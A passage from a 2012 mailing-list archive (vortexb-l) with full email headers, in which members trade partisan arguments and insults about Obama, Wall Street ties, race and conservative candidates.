Jackson and other prominent (aka, self-annointed) black leaders when > > Cain was being skewered???? Shows then up to be the cowards they are. > > > > It is about Policy, and character. > > > > What really cracks me up is that Obama is heavily tied into the Wall St. > > 1%ers and his supporters don't want to see the facts; or is it > > possible that they aren't aware of his WST ties because they only get > > their news from one source? Raum Emanuel, former Chief of Staff for > > Obama, is heavily tied to Wall St. fortunately, the internet is not > > controlled by themajor media. at least, not yet. This article from Nov'08: > > > > -------------- > > > > With his choice of Rahm Emanuel, President-elect Barack Obama is > > getting not just a politically savvy player, but a man with deep ties > > to the business community, especially to Wall Street. > > > > Emanuel is a former investment banker, who has been one of Congress' > > top recipients of Wall Street contributions since his 2002 election, > > according to the Center for Responsive Politics. > > > > The Illinois congressman, whose fund-raising abilities are legendary, > > was the top House recipient in the 2008 election cycle of > > contributions from hedge funds, private equity firms and the securities/investment industry. > > > > His top contributors over the course of his Congressional career were > > Madison Dearborn Partners ($93,600), AT&T Inc. ($86,450), Swiss bank > > UBS AG ($85,100), Goldman Sachs ($74,750) and JPMorgan Chase & Co. > > ($73,600) and Dresdner, Kleinwort & Wasserstein ($73,250). (Several of > > those companies were also big contributors to Obama.) > > > > Many of Emanuel's relationships with Wall Street's movers and shakers > > on Wall Street were personal. After devoting himself to the Clinton > > White House in the 1990s, Emanuel embarked on a new career in > > business, saying he wanted to make money to ensure his family's security. > > > > In 1999, he went to work for Bruce Wasserstein, a major Democratic > > donor and Wall Street financier, becoming a partner in the Chicago > > office of investment bank Wasserstein Perella & Co. Over the course of > > two-and-a-half years as managing partner, he reportedly made more than $16 million. > > > > In those years, he also joined several boards, becoming a director of > > housing financier Freddie Mac in a period when the agency was plagued > > with scandal involving campaign contributions and accounting irregularities. > > > > --------------------------- > > > > And I've seen a list of at least 30 people in Obama's administration > > that also either worked on Wall St., or have close ties to it. What a > > joke. I bet none of the OWS crowd has a clue as to how they were being > > used as a political tool by the very man they think is 'on their side'. > > > > The reason Buffet has come out publicly in support of Obama's efforts > > to raise taxes on the 'rich', is because Buffet owns Burlington > > Northern Santa Fe railroad, and this is payback for > > political/regulatory favors received from Obama's administration. it's > > no surprise that Obama turned down the Keystone pipeline since > > Buffet's railroad transports much of the oil from Canada, and all that > > profit would be lost if the pipeline was put in. gee, get a clue people! > > > > http://dcinsider.com/election-2012/warren-buffets-railroad-to-benefit- > > from-o bama-blocking-xl-keystone-pipeline-bloomberg/ > > > > THIS IS WHAT WE TAXPAYERS ARE FED UP WITH. AND IT HAPPENS ON BOTH > > SIDES OF THE AISLE. > > > > -Mark > > > > From: Jeff Fink [mailto:revtec@PTD.NET] > > Sent: Friday, March 09, 2012 8:22 AM > > To: vortexb-l@eskimo.com > > Subject: RE: [VoB]:true or false > > > > It's POLICY!, POLICY!!, POLICY!!! > > > > I would be happy to have any of the following black guys for president! > > > > Herman Cain > > Alan Keyes > > J C Watts > > Rep. Alan West > > Walter E Williams > > > > Why do you always throw the race card when a conservative disagrees > > with policy? > > > > Jeff > > > > P.S. When a high ranking Republican "conservative" like Colin Powell > > votes for Obama, that's racist. > > _____ > > > > From: OrionWorks - Steven Vincent Johnson > > [mailto:orionworks@charter.net] > > Sent: Friday, March 09, 2012 9:23 AM > > To: vortexb-l@eskimo.com > > Subject: RE: [VoB]:true or false > > > > From Jeff: > > > > > Is this video doctored up? > > > > > > http://www.youtube.com/watch?v=MwhKuunp8D8 > > > > Yeah, right. It's all true!!!! > > > > The truth of the matter is that we elected a black man as president of > > the United States. > > > > I suggest those that have a problem with the reality of this fact try > > to learn to live with the reality of this fact instead of trying to > > find rationalizations as to why such a reality of such a fact can't be right. > > > > Regards, > > Steven Vincent Johnson > > www.OrionWorks.com > > www.zazzle.com/orionworks > > > -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Fri Mar 9 12:45:21 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q29Kj7DJ005100; Fri, 9 Mar 2012 12:45:11 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q29Kj7kl005094; Fri, 9 Mar 2012 12:45:07 -0800 Resent-Date: Fri, 9 Mar 2012 12:45:07 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=psWcb5N98119OaOi9bjyg15qVElTHlpKZyP+LUQnThs= c=1 sm=1 a=yUnIBFQkZM0A:10 a=IkcTkHD0fZMA:10 a=t+194oyOKel6p+o+czWDVA==:17 a=yTIk75XiAAAA:8 a=hOpmn2quAAAA:8 a=dcoZRkR_UDeqVcqhqIsA:9 a=QEXdDO2ut3YA:10 a=8PGfyiCYVrkA:10 a=hUswqBWy9Q8A:10 a=t+194oyOKel6p+o+czWDVA==:117 From: "Mark Iverson-ZeroPoint" To: References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> <001101ccfe00$28505470$78f0fd50$@net> <00ac01ccfe1e$021de790$0659b6b0$@net> <20120309182502.GD26232@shell.resist.ca> <00cf01ccfe2d$2cfaf750$86f0e5f0$@net> <20120309195335.GF26232@shell.resist.ca> In-Reply-To: <20120309195335.GF26232@shell.resist.ca> Subject: RE: [VoB]:true or false Date: Fri, 9 Mar 2012 12:41:42 -0800 Message-ID: <00e401ccfe35$096e5810$1c4b0830$@net> MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Acz+Ll9vSUTu2CzQTr2BcpvDVMuhIQABi8iA Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4540 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 781 Anyone who doesn't flow with hatred such as yours is a fascist in your = warped mind... done anything productive lately with your life grok, or = just your usual whining and name-calling? -----Original Message----- From: grok [mailto:grok@resist.ca]=20 Sent: Friday, March 09, 2012 11:54 AM To: vortexb-l@eskimo.com Subject: Re: [VoB]:true or false As the smoke cleared, Mark Iverson-ZeroPoint = mounted the barricade and roared out: > grok's typical response of name-calling, lacking any attempt to = discuss or provide facts to support his position. You don't compromise with fascists, dumb-ass. Basic Politix. -- grok. From vortexb-l-request@eskimo.com Fri Mar 9 12:47:43 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q29KleW1006538; Fri, 9 Mar 2012 12:47:41 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q29KlelG006531; Fri, 9 Mar 2012 12:47:40 -0800 Resent-Date: Fri, 9 Mar 2012 12:47:40 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 9 Mar 2012 12:43:44 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:true or false Message-ID: <20120309204344.GI26232@shell.resist.ca> Reply-To: grok@resist.ca References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> <001101ccfe00$28505470$78f0fd50$@net> <00ac01ccfe1e$021de790$0659b6b0$@net> <20120309182502.GD26232@shell.resist.ca> <00cf01ccfe2d$2cfaf750$86f0e5f0$@net> <20120309195335.GF26232@shell.resist.ca> <00e401ccfe35$096e5810$1c4b0830$@net> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <00e401ccfe35$096e5810$1c4b0830$@net> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: HTR-10, al-Qaeda Senior Leadership, Fajr, FN P90, Pathfinders User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: <4niT6.A.-lB.sxmWPB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4541 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 782 As the smoke cleared, Mark Iverson-ZeroPoint mounted the barricade and roared out: > Anyone who doesn't flow with hatred such as yours is a fascist in > your warped mind... done anything productive lately with your life > grok, or just your usual whining and name-calling? Mind your own fucking business. Stick to OU topix here -- or be flamed, asshole. -- grok. > -----Original Message----- > From: grok [mailto:grok@resist.ca] > Sent: Friday, March 09, 2012 11:54 AM > To: vortexb-l@eskimo.com > Subject: Re: [VoB]:true or false > > > As the smoke cleared, Mark Iverson-ZeroPoint mounted the barricade and roared out: > > > grok's typical response of name-calling, lacking any attempt to discuss or provide facts to support his position. > > You don't compromise with fascists, dumb-ass. Basic Politix. > > -- grok. > > > -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Fri Mar 9 12:50:30 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q29KoQsI017352; Fri, 9 Mar 2012 12:50:26 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q29KoM6P017264; Fri, 9 Mar 2012 12:50:22 -0800 Resent-Date: Fri, 9 Mar 2012 12:50:22 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=references:in-reply-to:mime-version:content-transfer-encoding :content-type:message-id:cc:x-mailer:from:subject:date:to; bh=XzS+yt5cedYf5E3x2z2xegwsapja42HmL1+RR6Nzt9k=; b=lrDJCSTXMyFEljkiwjEdZ4Otv7IalNAmkivfNITBMQGYtpg8kTApCr2IUxmTIQky+3 A6ofVcGbGdETlTp2r/47eUZ3yK9+53UUYeD6biAJ+VqpF4XwXKAwcXEe99x+cJ93vqY4 oDksRVNaRMwKPWGzHc/TNmQ6ezf265uqIXKofpX+alvDSS9trePq8OBB/zgedNzoXy4u Pjgl4OA7R1pnFxPIE1luXuwtaMuD53/zRBzX+Zk17fXyqlL12WF1BvT857pim/hJBVLo nMF3PQX3dNxSbH8uG4Gmrxwflo2cRSrMZ65xi3t8pXy0XX8OlJEriY1JDFEybp3lNSRm Ej3g== References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> <001101ccfe00$28505470$78f0fd50$@net> <00ac01ccfe1e$021de790$0659b6b0$@net> <20120309182502.GD26232@shell.resist.ca> <00cf01ccfe2d$2cfaf750$86f0e5f0$@net> <20120309195335.GF26232@shell.resist.ca> In-Reply-To: <20120309195335.GF26232@shell.resist.ca> Mime-Version: 1.0 (1.0) Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=us-ascii Message-Id: Cc: "vortexb-l@eskimo.com" X-Mailer: iPhone Mail (9B179) From: Charles Hope Subject: Re: [VoB]:true or false Date: Fri, 9 Mar 2012 15:46:06 -0500 To: "grok@resist.ca" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4542 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 783 Parodies lose their humor when they're no longer believable.=20 On Mar 9, 2012, at 14:53, grok wrote: >=20 > As the smoke cleared, Mark Iverson-ZeroPoint > mounted the barricade and roared out: >=20 >> grok's typical response of name-calling, lacking any attempt to discuss o= r provide facts to support his position. >=20 > You don't compromise with fascists, dumb-ass. Basic Politix. >=20 >=20 > -- grok. >=20 >=20 >=20 >=20 >=20 >=20 >> -----Original Message----- >> From: grok [mailto:grok@resist.ca]=20 >> Sent: Friday, March 09, 2012 10:25 AM >> To: vortexb-l@eskimo.com >> Subject: Re: [VoB]:true or false >>=20 >> Great. We have to share the 'Over-Unity' movement with outright reactiona= ries, if not utter fascists. >>=20 >> -- grok. >>=20 >> As the smoke cleared, Mark Iverson-ZeroPoint moun= ted the barricade and roared out: >>=20 >>> I agree with Jeff. >>>=20 >>> I was hoping Cain would have made it into the general election, but=20 >>> the press did a real hatchet job on him, and where was the ACLU, Jesse=20= >>> Jackson and other prominent (aka, self-annointed) black leaders when=20 >>> Cain was being skewered???? Shows then up to be the cowards they are. >>>=20 >>> It is about Policy, and character.=20 >>>=20 >>> What really cracks me up is that Obama is heavily tied into the Wall St.= >>> 1%ers and his supporters don't want to see the facts; or is it=20 >>> possible that they aren't aware of his WST ties because they only get=20= >>> their news from one source? Raum Emanuel, former Chief of Staff for=20 >>> Obama, is heavily tied to Wall St. fortunately, the internet is not=20 >>> controlled by themajor media. at least, not yet. This article from Nov'= 08: >>>=20 >>> -------------- >>>=20 >>> With his choice of Rahm Emanuel, President-elect Barack Obama is=20 >>> getting not just a politically savvy player, but a man with deep ties=20= >>> to the business community, especially to Wall Street. >>>=20 >>> Emanuel is a former investment banker, who has been one of Congress'=20 >>> top recipients of Wall Street contributions since his 2002 election,=20 >>> according to the Center for Responsive Politics. >>>=20 >>> The Illinois congressman, whose fund-raising abilities are legendary,=20= >>> was the top House recipient in the 2008 election cycle of=20 >>> contributions from hedge funds, private equity firms and the securities/= investment industry. >>>=20 >>> His top contributors over the course of his Congressional career were=20= >>> Madison Dearborn Partners ($93,600), AT&T Inc. ($86,450), Swiss bank=20 >>> UBS AG ($85,100), Goldman Sachs ($74,750) and JPMorgan Chase & Co.=20 >>> ($73,600) and Dresdner, Kleinwort & Wasserstein ($73,250). (Several of=20= >>> those companies were also big contributors to Obama.) >>>=20 >>> Many of Emanuel's relationships with Wall Street's movers and shakers=20= >>> on Wall Street were personal. After devoting himself to the Clinton=20 >>> White House in the 1990s, Emanuel embarked on a new career in=20 >>> business, saying he wanted to make money to ensure his family's security= . >>>=20 >>> In 1999, he went to work for Bruce Wasserstein, a major Democratic=20 >>> donor and Wall Street financier, becoming a partner in the Chicago=20 >>> office of investment bank Wasserstein Perella & Co. Over the course of=20= >>> two-and-a-half years as managing partner, he reportedly made more than $= 16 million. >>>=20 >>> In those years, he also joined several boards, becoming a director of=20= >>> housing financier Freddie Mac in a period when the agency was plagued=20= >>> with scandal involving campaign contributions and accounting irregularit= ies. >>>=20 >>> --------------------------- >>>=20 >>> And I've seen a list of at least 30 people in Obama's administration=20 >>> that also either worked on Wall St., or have close ties to it. What a=20= >>> joke. I bet none of the OWS crowd has a clue as to how they were being=20= >>> used as a political tool by the very man they think is 'on their side'. >>>=20 >>> The reason Buffet has come out publicly in support of Obama's efforts=20= >>> to raise taxes on the 'rich', is because Buffet owns Burlington=20 >>> Northern Santa Fe railroad, and this is payback for=20 >>> political/regulatory favors received from Obama's administration. it's=20= >>> no surprise that Obama turned down the Keystone pipeline since=20 >>> Buffet's railroad transports much of the oil from Canada, and all that=20= >>> profit would be lost if the pipeline was put in. gee, get a clue people!= >>>=20 >>> http://dcinsider.com/election-2012/warren-buffets-railroad-to-benefit- >>> from-o bama-blocking-xl-keystone-pipeline-bloomberg/ >>>=20 >>> THIS IS WHAT WE TAXPAYERS ARE FED UP WITH. AND IT HAPPENS ON BOTH=20 >>> SIDES OF THE AISLE. >>>=20 >>> -Mark >>>=20 >>> From: Jeff Fink [mailto:revtec@PTD.NET] >>> Sent: Friday, March 09, 2012 8:22 AM >>> To: vortexb-l@eskimo.com >>> Subject: RE: [VoB]:true or false >>>=20 >>> It's POLICY!, POLICY!!, POLICY!!! >>>=20 >>> I would be happy to have any of the following black guys for president! >>>=20 >>> Herman Cain >>> Alan Keyes >>> J C Watts >>> Rep. Alan West >>> Walter E Williams >>>=20 >>> Why do you always throw the race card when a conservative disagrees=20 >>> with policy? >>>=20 >>> Jeff >>>=20 >>> P.S. When a high ranking Republican "conservative" like Colin Powell=20= >>> votes for Obama, that's racist. >>> _____ >>>=20 >>> From: OrionWorks - Steven Vincent Johnson=20 >>> [mailto:orionworks@charter.net] >>> Sent: Friday, March 09, 2012 9:23 AM >>> To: vortexb-l@eskimo.com >>> Subject: RE: [VoB]:true or false >>>=20 >>> =46rom Jeff: >>>=20 >>>> Is this video doctored up? >>>>=20 >>>> http://www.youtube.com/watch?v=3DMwhKuunp8D8 >>>=20 >>> Yeah, right. It's all true!!!! >>>=20 >>> The truth of the matter is that we elected a black man as president of=20= >>> the United States. >>>=20 >>> I suggest those that have a problem with the reality of this fact try=20= >>> to learn to live with the reality of this fact instead of trying to=20 >>> find rationalizations as to why such a reality of such a fact can't be r= ight. >>>=20 >>> Regards, >>> Steven Vincent Johnson >>> www.OrionWorks.com >>> www.zazzle.com/orionworks >>>=20 >>=20 >=20 > --=20 > The Financiers & Banksters have looted untold trillions of our future earn= ings. > Their bureaucratic police & military goons are here to make us all pay for= it. > Forever. > Well FORGET THAT. Let's get it *ALL* back from them -- and more. >=20 > **Socialist revolution NOW!!** >=20 > Build the North America-wide General Strike. > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. >=20 > And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*.= .. >=20 From vortexb-l-request@eskimo.com Fri Mar 9 12:52:23 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q29KqHfR018690; Fri, 9 Mar 2012 12:52:21 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q29KqHvN018679; Fri, 9 Mar 2012 12:52:17 -0800 Resent-Date: Fri, 9 Mar 2012 12:52:17 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=references:in-reply-to:mime-version:content-transfer-encoding :content-type:message-id:cc:x-mailer:from:subject:date:to; bh=4eaTVIkG0E1eFn9e8RpeWDmH6vT1QfDNJjJOkl6hroo=; b=Hv4N4mwAnxj8ocxC+UNWOq2PJwJ8A9w626ROOijKPzg/y5vVNbHoSQzS//CrpwGu6S R02e1tlum6S/TVAoCI3fFfzVkqhPxGGUbuKoXwCPCBWhWexv7uOWRiKfjYphwREfLfio I2dHg1+vKZckU5GKOAhMSSTigWi9vYo8XbIPiQHSX8WXzrH6ZNUL/XqH+3v6KMNzZnnX 1Ve5yMF1/DhJN7IxPdp3oigU8YuAx1o2Vpb/n7ONFVSmF59SBwbzRT4Gnz10sC0pQLRH FBUJtcU4ZCcwn5S43tBxqeoPAEE7kwwQ7TJLW8SkJipCYTthQIlsLWFOtiuNbbI5VRuF Oycg== References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> <001101ccfe00$28505470$78f0fd50$@net> <00ac01ccfe1e$021de790$0659b6b0$@net> <20120309182502.GD26232@shell.resist.ca> <00cf01ccfe2d$2cfaf750$86f0e5f0$@net> <20120309195335.GF26232@shell.resist.ca> <00e401ccfe35$096e5810$1c4b0830$@net> <20120309204344.GI26232@shell.resist.ca> In-Reply-To: <20120309204344.GI26232@shell.resist.ca> Mime-Version: 1.0 (1.0) Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=us-ascii Message-Id: <59C995E8-DEA7-4ACD-8347-218BED933936@gmail.com> Cc: "vortexb-l@eskimo.com" X-Mailer: iPhone Mail (9B179) From: Charles Hope Subject: Re: [VoB]:true or false Date: Fri, 9 Mar 2012 15:48:16 -0500 To: "grok@resist.ca" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4543 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 784 THIS E-CAT KILLS FASCISTS On Mar 9, 2012, at 15:43, grok wrote: >=20 > As the smoke cleared, Mark Iverson-ZeroPoint > mounted the barricade and roared out: >=20 >> Anyone who doesn't flow with hatred such as yours is a fascist in >> your warped mind... done anything productive lately with your life >> grok, or just your usual whining and name-calling? >=20 > Mind your own fucking business. Stick to OU topix here -- or be > flamed, asshole. >=20 >=20 > -- grok. >=20 >=20 >=20 >=20 >=20 >> -----Original Message----- >> From: grok [mailto:grok@resist.ca]=20 >> Sent: Friday, March 09, 2012 11:54 AM >> To: vortexb-l@eskimo.com >> Subject: Re: [VoB]:true or false >>=20 >>=20 >> As the smoke cleared, Mark Iverson-ZeroPoint moun= ted the barricade and roared out: >>=20 >>> grok's typical response of name-calling, lacking any attempt to discuss o= r provide facts to support his position. >>=20 >> You don't compromise with fascists, dumb-ass. Basic Politix. >>=20 >> -- grok. >>=20 >>=20 >>=20 >=20 > --=20 > The Financiers & Banksters have looted untold trillions of our future earn= ings. > Their bureaucratic police & military goons are here to make us all pay for= it. > Forever. > Well FORGET THAT. Let's get it *ALL* back from them -- and more. >=20 > **Socialist revolution NOW!!** >=20 > Build the North America-wide General Strike. > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. >=20 > And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*.= .. >=20 From vortexb-l-request@eskimo.com Fri Mar 9 13:13:30 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q29LDQrR028412; Fri, 9 Mar 2012 13:13:26 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q29LDP5D028407; Fri, 9 Mar 2012 13:13:25 -0800 Resent-Date: Fri, 9 Mar 2012 13:13:25 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 9 Mar 2012 13:09:28 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:true or false Message-ID: <20120309210928.GJ26232@shell.resist.ca> Reply-To: grok@resist.ca References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> <001101ccfe00$28505470$78f0fd50$@net> <00ac01ccfe1e$021de790$0659b6b0$@net> <20120309182502.GD26232@shell.resist.ca> <00cf01ccfe2d$2cfaf750$86f0e5f0$@net> <20120309195335.GF26232@shell.resist.ca> <00e401ccfe35$096e5810$1c4b0830$@net> <20120309204344.GI26232@shell.resist.ca> <59C995E8-DEA7-4ACD-8347-218BED933936@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <59C995E8-DEA7-4ACD-8347-218BED933936@gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: HTR-10, al-Qaeda Senior Leadership, Fajr, FN P90, Pathfinders User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: <2eOyFC.A.t7G.1JnWPB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4544 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 785 As the smoke cleared, Charles Hope mounted the barricade and roared out: > THIS E-CAT KILLS FASCISTS Worx for me. -- grok. > On Mar 9, 2012, at 15:43, grok wrote: > > > > > As the smoke cleared, Mark Iverson-ZeroPoint > > mounted the barricade and roared out: > > > >> Anyone who doesn't flow with hatred such as yours is a fascist in > >> your warped mind... done anything productive lately with your life > >> grok, or just your usual whining and name-calling? > > > > Mind your own fucking business. Stick to OU topix here -- or be > > flamed, asshole. > > > > > > -- grok. > > > > > > > > > > > >> -----Original Message----- > >> From: grok [mailto:grok@resist.ca] > >> Sent: Friday, March 09, 2012 11:54 AM > >> To: vortexb-l@eskimo.com > >> Subject: Re: [VoB]:true or false > >> > >> > >> As the smoke cleared, Mark Iverson-ZeroPoint mounted the barricade and roared out: > >> > >>> grok's typical response of name-calling, lacking any attempt to discuss or provide facts to support his position. > >> > >> You don't compromise with fascists, dumb-ass. Basic Politix. > >> > >> -- grok. > >> > >> > >> > > > > -- > > The Financiers & Banksters have looted untold trillions of our future earnings. > > Their bureaucratic police & military goons are here to make us all pay for it. > > Forever. > > Well FORGET THAT. Let's get it *ALL* back from them -- and more. > > > > **Socialist revolution NOW!!** > > > > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > > TOUT le pouvoir aux conseils et communes. > > ALL power to the councils and communes. > > > > And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... > > -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Fri Mar 9 13:20:39 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q29LKamS000896; Fri, 9 Mar 2012 13:20:36 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q29LKa8Q000889; Fri, 9 Mar 2012 13:20:36 -0800 Resent-Date: Fri, 9 Mar 2012 13:20:36 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=rvNqJbVGdbt4egs52VbhtoJZG7AoPDG9H2iogr/sNfs= c=1 sm=1 a=yUnIBFQkZM0A:10 a=kj9zAlcOel0A:10 a=t+194oyOKel6p+o+czWDVA==:17 a=pGLkceISAAAA:8 a=yTIk75XiAAAA:8 a=hOpmn2quAAAA:8 a=gcTMKxMPs6Uu3uniiR8A:9 a=CjuIK1q_8ugA:10 a=MSl-tDqOz04A:10 a=8PGfyiCYVrkA:10 a=hUswqBWy9Q8A:10 a=t+194oyOKel6p+o+czWDVA==:117 From: "Mark Iverson-ZeroPoint" To: References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> <001101ccfe00$28505470$78f0fd50$@net> <00ac01ccfe1e$021de790$0659b6b0$@net> <20120309182502.GD26232@shell.resist.ca> <00cf01ccfe2d$2cfaf750$86f0e5f0$@net> <20120309195335.GF26232@shell.resist.ca> <00e401ccfe35$096e5810$1c4b0830$@net> <20120309204344.GI26232@shell.resist.ca> <59C995E8-DEA7-4ACD-8347-218BED933936@gmail.com> In-Reply-To: <59C995E8-DEA7-4ACD-8347-218BED933936@gmail.com> Subject: RE: [VoB]:true or false Date: Fri, 9 Mar 2012 13:17:15 -0800 Message-ID: <00f301ccfe3a$01047790$030d66b0$@net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Acz+NgAVtKuXpmypSN+Lk2A1QVJBMQAA4lmw Content-Language: en-us Resent-Message-ID: <8v6_RD.A.zN.kQnWPB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4545 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 786 Charles, Would you kindly clarify your comment? Were you being facetious, or serious? -m -----Original Message----- From: Charles Hope [mailto:lookslikeiwasright@gmail.com] Sent: Friday, March 09, 2012 12:48 PM To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:true or false THIS E-CAT KILLS FASCISTS On Mar 9, 2012, at 15:43, grok wrote: > > As the smoke cleared, Mark Iverson-ZeroPoint > mounted the barricade and roared out: > >> Anyone who doesn't flow with hatred such as yours is a fascist in >> your warped mind... done anything productive lately with your life >> grok, or just your usual whining and name-calling? > > Mind your own fucking business. Stick to OU topix here -- or be > flamed, asshole. > > > -- grok. From vortexb-l-request@eskimo.com Fri Mar 9 13:22:49 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q29LMkJ0009614; Fri, 9 Mar 2012 13:22:46 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q29LMjLo009603; Fri, 9 